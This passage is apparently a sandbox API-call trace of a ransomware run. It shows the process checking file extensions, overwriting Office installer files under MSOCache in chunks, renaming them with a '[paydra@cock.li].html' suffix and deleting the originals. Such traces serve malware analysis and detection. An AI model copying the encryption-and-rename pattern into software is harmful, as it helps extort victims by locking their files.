lpNewFilePointer=0x0) returned 1 [0037.606] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.608] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.608] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.613] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.613] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.615] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0037.615] CloseHandle (hObject=0x188) returned 1 [0038.518] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0038.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.518] lstrlenW (lpString=".doc") returned 4 [0038.518] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.518] lstrlenW (lpString=".docx") returned 5 [0038.518] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.518] lstrlenW (lpString=".pdf") returned 4 [0038.518] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.518] lstrlenW (lpString=".xls") returned 4 [0038.518] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.518] lstrlenW (lpString=".xlsx") returned 5 [0038.518] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.518] lstrlenW (lpString=".ppt") returned 4 [0038.518] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.518] lstrlenW (lpString=".zip") returned 4 [0038.518] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.518] lstrlenW (lpString=".rar") returned 4 [0038.518] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.518] lstrlenW (lpString=".bz2") returned 4 [0038.518] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString=".7z") returned 3 [0038.519] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString=".dbf") returned 4 [0038.519] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString=".1cd") returned 4 [0038.519] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString=".jpg") returned 4 [0038.519] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString=".doc") returned 4 [0038.519] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString=".docx") returned 5 [0038.519] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0038.519] lstrlenW (lpString=".pdf") returned 4 [0038.519] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0038.519] lstrlenW (lpString=".xls") returned 4 [0038.519] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0038.519] lstrlenW (lpString=".xlsx") returned 5 [0038.519] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0038.519] lstrlenW (lpString=".ppt") returned 4 [0038.519] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0038.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.519] lstrlenW (lpString=".zip") returned 4 [0038.519] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0038.519] lstrlenW (lpString=".rar") returned 4 [0038.519] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0038.519] lstrlenW (lpString=".bz2") returned 4 [0038.519] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0038.519] lstrlenW (lpString=".7z") returned 3 [0038.519] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0038.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.520] lstrlenW (lpString=".dbf") returned 4 [0038.520] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0038.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.520] lstrlenW (lpString=".1cd") returned 4 [0038.520] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0038.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0038.520] lstrlenW (lpString=".jpg") returned 4 [0038.520] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0038.520] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0038.520] lstrlenW (lpString="WordMUI.msi") returned 11 [0038.520] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0038.520] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2522624) returned 1 [0038.520] CloseHandle (hObject=0x188) returned 1 [0038.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0038.520] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.521] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0038.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0038.521] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0038.521] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.521] ReadFile (in: hFile=0x188, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.525] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.525] ReadFile (in: hFile=0x188, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.532] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.532] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0038.532] ReadFile (in: hFile=0x188, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.549] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.549] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0038.991] SetEndOfFile (hFile=0x188) returned 1 [0038.991] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0038.991] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.991] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.992] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.993] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.998] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0038.998] WriteFile (in: hFile=0x188, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.001] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0039.224] CloseHandle (hObject=0x188) returned 1 [0039.671] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0039.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.671] lstrlenW (lpString=".doc") returned 4 [0039.671] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.671] lstrlenW (lpString=".docx") returned 5 [0039.671] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.671] lstrlenW (lpString=".pdf") returned 4 [0039.671] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xls") returned 4 [0039.672] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xlsx") returned 5 [0039.672] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.672] lstrlenW (lpString=".ppt") returned 4 [0039.672] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString=".zip") returned 4 [0039.672] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".rar") returned 4 [0039.672] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".bz2") returned 4 [0039.672] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString=".7z") returned 3 [0039.672] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString=".dbf") returned 4 [0039.672] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString=".1cd") returned 4 [0039.672] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString=".jpg") returned 4 [0039.672] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.672] lstrlenW (lpString=".doc") returned 4 [0039.672] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.672] lstrlenW (lpString=".docx") returned 5 [0039.672] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.672] lstrlenW (lpString=".pdf") returned 4 [0039.672] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xls") returned 4 [0039.672] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.672] lstrlenW (lpString=".xlsx") returned 5 [0039.673] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.673] lstrlenW (lpString=".ppt") returned 4 [0039.673] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.673] lstrlenW (lpString=".zip") returned 4 [0039.673] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".rar") returned 4 [0039.673] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.673] lstrlenW (lpString=".bz2") returned 4 [0039.673] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString=".7z") returned 3 [0039.673] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.673] lstrlenW (lpString=".dbf") returned 4 [0039.673] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.673] lstrlenW (lpString=".1cd") returned 4 [0039.673] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0039.673] lstrlenW (lpString=".jpg") returned 4 [0039.673] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.673] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0039.673] lstrlenW (lpString="Proof.msi") returned 9 [0039.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0039.828] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=881152) returned 1 [0039.828] CloseHandle (hObject=0x1e0) returned 1 [0039.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0039.828] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0039.828] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.828] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.924] GetLastError () returned 0x0 [0039.924] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0039.946] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0040.057] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.057] WriteFile (in: hFile=0x180, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.263] SetEndOfFile (hFile=0x180) returned 1 [0040.263] CloseHandle (hObject=0x180) returned 1 [0040.271] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.271] SetEndOfFile (hFile=0x1e0) returned 1 [0040.278] CloseHandle (hObject=0x1e0) returned 1 [0040.278] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0040.278] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0040.278] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.278] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.278] lstrlenW (lpString=".doc") returned 4 [0040.278] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.279] lstrlenW (lpString=".docx") returned 5 [0040.279] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.279] lstrlenW (lpString=".pdf") returned 4 [0040.279] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.279] lstrlenW (lpString=".xls") returned 4 [0040.279] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.279] lstrlenW (lpString=".xlsx") returned 5 [0040.279] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.279] lstrlenW (lpString=".ppt") returned 4 [0040.279] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.279] lstrlenW (lpString=".zip") returned 4 [0040.279] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.279] lstrlenW (lpString=".rar") returned 4 [0040.279] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.279] lstrlenW (lpString=".bz2") returned 4 [0040.279] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.279] lstrlenW (lpString=".7z") returned 3 [0040.279] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.279] lstrlenW (lpString=".dbf") returned 4 [0040.279] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.279] lstrlenW (lpString=".1cd") returned 4 [0040.279] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.279] lstrlenW (lpString=".jpg") returned 4 [0040.279] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString=".doc") returned 4 [0040.280] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0040.280] lstrlenW (lpString=".docx") returned 5 [0040.280] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0040.280] lstrlenW (lpString=".pdf") returned 4 [0040.280] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0040.280] lstrlenW (lpString=".xls") returned 4 [0040.280] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0040.280] lstrlenW (lpString=".xlsx") returned 5 [0040.280] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0040.280] lstrlenW (lpString=".ppt") returned 4 [0040.280] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString=".zip") returned 4 [0040.280] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0040.280] lstrlenW (lpString=".rar") returned 4 [0040.280] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0040.280] lstrlenW (lpString=".bz2") returned 4 [0040.280] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0040.280] lstrlenW (lpString=".7z") returned 3 [0040.280] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString=".dbf") returned 4 [0040.280] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString=".1cd") returned 4 [0040.280] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0040.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0040.280] lstrlenW (lpString=".jpg") returned 4 [0040.280] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0040.281] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0040.281] lstrlenW (lpString="Proof.msi") returned 9 [0040.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0040.281] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=885760) 